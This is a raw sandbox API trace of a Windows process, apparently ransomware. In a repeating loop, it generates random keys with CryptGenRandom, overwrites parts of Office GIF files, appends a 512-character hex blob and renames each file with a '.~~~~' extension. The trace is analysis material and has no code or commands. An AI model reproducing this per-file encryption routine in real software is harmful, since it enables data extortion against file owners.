	[0127.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.736] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.736] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.736] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.736] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.736] CloseHandle (hObject=0x138) returned 1
	[0127.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0127.737] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14982_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14982_.gif.~~~~")) returned 1
	[0128.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0128.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.172] GetLastError () returned 0x0
	[0128.183] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0128.184] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.184] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.185] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24817478084) returned 1
	[0128.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5db4430, dwHighDateTime=0x1d60e1e)) 
	[0128.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a48288
	[0128.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a48288 | out: hHeap=0x300000) returned 1
	[0128.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38f258
	[0128.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f258 | out: hHeap=0x300000) returned 1
	[0128.186] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.186] GetLastError () returned 0x0
	[0128.186] GetLastError () returned 0x0
	[0128.186] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.186] GetLastError () returned 0x0
	[0128.187] GetLastError () returned 0x0
	[0128.188] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff9b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.189] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x65, lpOverlapped=0x0) returned 1
	[0128.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.191] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.191] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.191] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.191] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.192] CloseHandle (hObject=0x13c) returned 1
	[0128.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38f258
	[0128.192] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21298_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21298_.gif.~~~~")) returned 1
	[0128.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f258 | out: hHeap=0x300000) returned 1
	[0128.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.195] GetLastError () returned 0x0
	[0128.196] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0128.197] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.197] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.197] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24818748452) returned 1
	[0128.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5dda590, dwHighDateTime=0x1d60e1e)) 
	[0128.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccd60
	[0128.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccd60 | out: hHeap=0x300000) returned 1
	[0128.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38f450
	[0128.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f450 | out: hHeap=0x300000) returned 1
	[0128.198] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.199] GetLastError () returned 0x0
	[0128.199] GetLastError () returned 0x0
	[0128.199] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.199] GetLastError () returned 0x0
	[0128.199] GetLastError () returned 0x0
	[0128.201] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffffb1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.201] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x4f, lpOverlapped=0x0) returned 1
	[0128.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.204] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.204] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.204] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.204] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.204] CloseHandle (hObject=0x13c) returned 1
	[0128.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38f450
	[0128.209] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21299_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21299_.gif.~~~~")) returned 1
	[0128.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f450 | out: hHeap=0x300000) returned 1
	[0128.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.215] GetLastError () returned 0x0
	[0128.215] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0128.217] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.217] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.217] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24820753583) returned 1
	[0128.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5e006f0, dwHighDateTime=0x1d60e1e)) 
	[0128.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccd28
	[0128.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccd28 | out: hHeap=0x300000) returned 1
	[0128.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38f4f8
	[0128.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f4f8 | out: hHeap=0x300000) returned 1
	[0128.218] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.219] GetLastError () returned 0x0
	[0128.219] GetLastError () returned 0x0
	[0128.219] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.219] GetLastError () returned 0x0
	[0128.219] GetLastError () returned 0x0
	[0128.221] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff74, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.221] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x8c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x8c, lpOverlapped=0x0) returned 1
	[0128.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.224] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.224] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.224] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.224] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.224] CloseHandle (hObject=0x13c) returned 1
	[0128.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38f4f8
	[0128.225] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21300_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21300_.gif.~~~~")) returned 1
	[0128.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f4f8 | out: hHeap=0x300000) returned 1
	[0128.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.227] GetLastError () returned 0x0
	[0128.228] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0128.229] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.229] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.229] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24821921952) returned 1
	[0128.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5e26850, dwHighDateTime=0x1d60e1e)) 
	[0128.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cccf0
	[0128.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cccf0 | out: hHeap=0x300000) returned 1
	[0128.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38f5a0
	[0128.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f5a0 | out: hHeap=0x300000) returned 1
	[0128.230] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.230] GetLastError () returned 0x0
	[0128.230] GetLastError () returned 0x0
	[0128.230] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.230] GetLastError () returned 0x0
	[0128.231] GetLastError () returned 0x0
	[0128.234] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff34, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.234] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xcc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0xcc, lpOverlapped=0x0) returned 1
	[0128.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.236] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.236] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.236] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.236] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.237] CloseHandle (hObject=0x13c) returned 1
	[0128.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38f5a0
	[0128.237] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21301_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21301_.gif.~~~~")) returned 1
	[0128.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f5a0 | out: hHeap=0x300000) returned 1
	[0128.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.239] GetLastError () returned 0x0
	[0128.240] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0128.242] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.242] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.242] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24823225874) returned 1
	[0128.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5e4c9b0, dwHighDateTime=0x1d60e1e)) 
	[0128.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cccb8
	[0128.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cccb8 | out: hHeap=0x300000) returned 1
	[0128.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38f648
	[0128.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f648 | out: hHeap=0x300000) returned 1
	[0128.243] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.243] GetLastError () returned 0x0
	[0128.244] GetLastError () returned 0x0
